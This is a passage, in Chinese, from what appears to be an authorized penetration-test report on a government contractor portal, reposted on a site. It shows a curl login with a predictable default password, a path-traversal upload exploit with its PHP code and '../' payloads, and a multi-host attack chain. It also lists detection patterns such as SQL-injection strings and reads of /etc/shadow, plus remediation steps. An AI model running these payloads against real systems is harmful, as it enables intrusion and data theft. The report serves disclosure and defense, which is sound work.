/contractx/registered-contractors?year=YYYY无需登录即可访问,页面约92KB,公开列出注册号、承包商名称、地址、电话与邮箱。测试从2019年列表取得C-xxxxx:
curl%20-sk%20-i%20-c%20cookies.txt%20-X%20POST 'https://m****.e******.n*.gov.xxx/contractx/functions/login_validate.php' \\
%20--data-urlencode 'user=C-xxxxx' \\
%20--data-urlencode 'password=********'
返回:
{\"status\":\"ok\",\"acc_type\":\"contr\"}
并下发PHPSESSID=\\\\\\\\。登录后可访问项目、发票、合同与个人信息,并可进入project-invoice注入点。
应禁止使用注册号或任何可预测值作为初始口令,为每名承包商生成高强度随机初始口令并通过独立安全渠道发送,首次登录强制修改并启用MFA。登录接口需限速、验证码和异常告警,公开承包商列表应实施访问控制和字段最小化。
6.4%20V16:news\_img路径穿越任意文件写入
| 项目 | 内容 |
|---|---|
| 受影响URL | /contractx/backend/function/news\_img\_conn.php |
| 受影响参数 | group\_id、img\_upload |
| 漏洞类型 | 路径穿越与任意文件写入 |
| 等级与CVSS | 中危,5.4 |
| 利用条件 | 需contractx后台管理员会话 |
| 利用状态 | 已在上传目录外写入并回读文件 |
上传代码大致逻辑为:
$group_id=htmlspecialchars($_POST['group_id']);
$dir='../upload/news_img/'.$group_id.'/';
if(!is_dir($dir)){mkdir($dir,0777,true);}
move_uploaded_file($_FILES['img_upload']['tmp_name'],$dir.$random.'.'.$ext);
htmlspecialchars不处理../,group\_id可控制最终目录。文件扩展名白名单为png、jpg、jpeg、pdf,文件名由随机6位数字加扩展名生成。
通过公开承包商列表取得注册号并以默认口令登录,再通过project-invoice读取管理员账号;已确认admin-x/\\\\\\\\可登录后台。前端JavaScript挑战可通过无头浏览器完成,实测下发的会话为PHPSESSID=*,挑战Cookie为wssplashchk=*
准备1x1PNG:
printf 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==' |%20base64%20-d%20>%20test.png
使用group\_id=../pwn\_out上传后写入:
/contractx/backend/upload/pwn_out/xxxxxx.png
使用group\_id=../../../pwn\_root上传后写入:
/contractx/pwn_root/xxxxxx.png
两个文件均为70字节,HTTP返回200,二进制内容与test.png一致。扩展名限制和Web服务器解析策略阻止了PHP命令执行,但路径穿越与任意可写目录文件写入已经成立,可覆盖图片或PDF、写入恶意内容、消耗磁盘,或结合其他漏洞扩大影响。
应对group\_id实施只允许字母、数字、下划线与短横线的白名单,禁止点和路径分隔符;使用realpath规范化最终路径,并确认其位于上传基目录;上传目录禁止执行脚本,服务端应校验真实文件类型和文档结构,随机文件名不得受用户控制。
七、跨系统风险复盘
16项漏洞的风险分布
图3:16项漏洞的风险分布
7.1 单点问题如何升级为系统性失陷
本次评估确认的核心问题并非某个单一0day,而是多个普通缺陷形成了连续攻击路径:
| 缺陷 | 单独影响 | 与攻击链叠加后的结果 |
|---|---|---|
| Struts 2 S2-016 | tomcat命令执行 | 获得ERL主机初始入口 |
| SUID-root bash | 本地提权 | 将Web权限升级为root |
| 配置文件和命令历史保存口令 | 凭据泄露 | 获取系统、数据库和支付权限 |
| SSH私钥跨主机复用 | 横向移动 | 从前置代理扩展到数据库与同步主机 |
| 系统、数据库和密钥库口令复用 | 单点泄露影响多系统 | 主站后端root与多库控制 |
| Drupal长期未修补 | www-data命令执行 | 形成第二条独立内网入口 |
| Web目录备份和SQL导出 | 源码与账号泄露 | 降低注入和后台接管成本 |
| 默认口令、SQL注入与路径穿越 | 应用层失守 | 投诉与承包商系统全面接管 |
这类风险的关键特征是信任边界被连续跨越。Web用户信任可读取的配置文件,系统账号信任复用口令,SSH目标信任共享私钥,数据库信任过宽的跨库权限。攻击者不需要突破每一层,只需找到一个能连接下一层的弱点。
7.2 关键凭据与数据暴露面
确认的关键凭据和敏感数据包括:
| 类别 | 内容 | 可影响范围 |
|---|---|---|
| 系统账号 | deploy-x/\\\\\\\\ | 192.168.xxx.20与192.168.xxx.40,sudo至root |
| 数据库 | db-x/\\\\\\\\@192.168.xxx.30:3306 | main\_db、oauth\_db、wordpress、phpbb、wrapper\_db、web\_logs |
| Laravel密钥 | APP\_KEY=base64:\\\\\\\\ | 会话与加密数据 |
| 支付网关 | payment.gateway.clientpassword=*、payment.gateway.lgpspassword=* | PayGW支付接口 |
| JKS | trust\_store\_password=\\\\\\\\ | 签名与信任密钥库 |
| SSH私钥 | 3072位RSA,MD5=[哈希已脱敏] | 192.168.xxx.10、192.168.xxx.60、192.168.xxx.70 |
| contractx数据库 | db-user-x/\\\\\\\\ | contractx\_db |
| contractx后台 | admin-x/\\\\\\\\、admin-y/\\\\\\\\及多个弱口令 | 承包商后台 |
| 投诉管理员 | 后台口令使用弱哈希 | 投诉后台 |
| 投诉业务账号 | staff-a/\\\\\\\\、staff-b/\\\\\\\\、staff-c/*、staff-d/* | 投诉业务功能 |
主站数据库可访问多个业务库,投诉系统包含约2500条用户记录与约170条投诉记录,contractx库包含47张表和24个后台管理员账号。数据范围涉及姓名、电话、邮箱、投诉内容、承包商信息、项目、发票、员工信息与管理员资料。
7.3 检测与威胁狩猎
边界和Web日志应重点检索:
- 参数名包含redirect:、action:、${或%24%7B的请求;
- Drupal路径中包含#post\_render、#markup和/file/ajax/name/%23value/的请求;
- SQL注入特征,包括UNION、SLEEP、information\_schema、OR 1=1和反斜杠逃逸;
- 对/db/db.sql、\.zip、\.tar.gz、\*.sql和敏感目录列表的异常访问;
主机日志应关注:
- tomcat或www-data用户执行系统命令、读取/etc/shadow和访问配置目录;
- 新增或权限变化的SUID/SGID文件,特别是/usr/bin/bash2;
- 同一SSH公钥短时间内登录多台主机;
- ops-x、deploy-x等高权限账号的异常来源、sudo命令和历史登录;
- Web目录、authorized\_keys、crontab和systemd服务的异常变更;
- ops-x家目录中的.migbak/bd、.cache/net-dhcp和@reboot crontab。
数据库应关注:
- 应用账号跨库访问和批量SELECT;
- information\_schema枚举、UNION查询、SLEEP调用;
- INTO OUTFILE、LOAD\_FILE和高危DDL/DCL操作;
- oauth\_db、web\_logs与多站点库的异常访问;
- 大批量用户、管理员、发票和项目数据导出。
7.4 主机取证重点
192.168.xxx.20、192.168.xxx.80、192.168.xxx.10和192.168.xxx.40均应按潜在失陷主机处理。取证顺序应优先保存易失性数据,再固定磁盘与配置证据。
重点采集内存、磁盘、进程、网络连接、登录日志、命令历史和配置差异,并排查webshell、异常crontab、异常systemd服务、可疑二进制、SSH授权记录与数据库新增账号。
前置代理上的两个约6MB的static ELF文件与@reboot crontab条目应与第三方运维记录核对。ERL主机还存在历史渗透遗留痕迹和可疑root二进制,建议完成证据固定后直接重建,降低残留后门风险。
7.5 复测与验证清单
整改完成后,应至少完成以下验证:
- https://www.gov.xxx/services/erl/ 的S2-016载荷返回400或403,无法执行表达式和系统命令;
- /usr/bin/bash2不存在或已移除SUID位,tomcat用户无法获得euid=0;
- data.gov.xxx的#post\_render与#markup载荷被拦截,/file/ajax/name/%23value/无法执行命令;
- /db/db.sql返回404或403,Web目录中无其他SQL、ZIP、TAR和备份文件;
- 投诉系统登录、cid和search参数无法注入,恒真载荷返回登录失败或空结果;
- reset-password.php必须校验一次性令牌,不能仅凭邮箱和手机号修改口令;
- contractx.zip、contractx\_dil.zip和contractx\_new.zip返回404或403,敏感目录列表关闭;
- project-invoice的prj和inv无法注入,UNION、SLEEP与information\_schema请求被阻断;
- C-xxxxx/\\\\\\\\登录失败,所有承包商账号完成随机口令轮换并强制首次修改;
- news\_img的group\_id无法包含../,最终路径无法逃逸上传基目录;
- 全部旧口令、旧私钥和旧客户端密钥失效,旧会话与旧令牌无法继续使用;
- SSH、数据库和后台启用MFA或证书认证,来源限制与审计正常生效;
- 主机取证确认无webshell、异常crontab、异常服务、可疑二进制和未授权SSH条目;
- 关键业务日志、数据库日志与边界日志已接入集中告警,能够检测文中列出的攻击特征;
- 主站代码、数据库内容、配置文件和公开发布内容完成完整性校验,未发现未授权修改。
十、应急响应与数据泄露处置
发现入侵迹象后,应立即隔离受影响主机,同时保留内存、磁盘、日志和网络流量证据。凭据轮换不能替代取证,尤其在共享私钥、APP\_KEY、JKS、OAuth客户端和数据库权限同时暴露的情况下,应先确认是否存在持久化、新建账号和二次外联,再按依赖关系分批轮换,避免遗漏旧副本。
数据泄露评估应覆盖main\_db、oauth\_db、wordpress、phpbb、wrapper\_db与web\_logs。业务数据范围还包括投诉系统约2500条用户记录、约170条投诉记录,以及contractx的47张表和24个管理员账号。
日志排查应覆盖数据库、SSH、Web、F5和管理后台,确认攻击者是否访问、导出、修改或删除了数据,是否创建账号、令牌、证书或持久化任务。除数据量外,还应关注跨库访问、批量导出与异常时间窗口。
完成遏制后,应重建可疑主机、恢复可信版本、重新签发身份凭据、恢复业务服务并持续观察。对外沟通应由业务、法务、公关和安全团队统一协调,按适用法律法规与政策要求向监管机构、受影响用户和相关方通报。事后复盘应更新威胁模型、检测规则、访问控制、补丁基线和应急预案。
十一、免责与合规声明
本次安全评估在取得相关方明确授权的前提下开展,测试目标、访问范围和操作边界均经过确认。评估过程遵循最小影响与非破坏性原则,不包含未授权入侵、恶意破坏、数据传播或任何影响业务连续性的操作。
本文仅用于授权安全评估、风险复盘、防御建设和安全研究,不构成对任何真实系统实施未授权测试的指引。任何个人或组织不得将文中方法用于违法扫描、入侵、篡改、窃取数据或破坏系统;未经授权实施上述行为可能承担法律责任。读者仅应在自身拥有或已取得明确授权的环境中使用相关技术,并遵守适用法律法规与网络安全管理要求。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论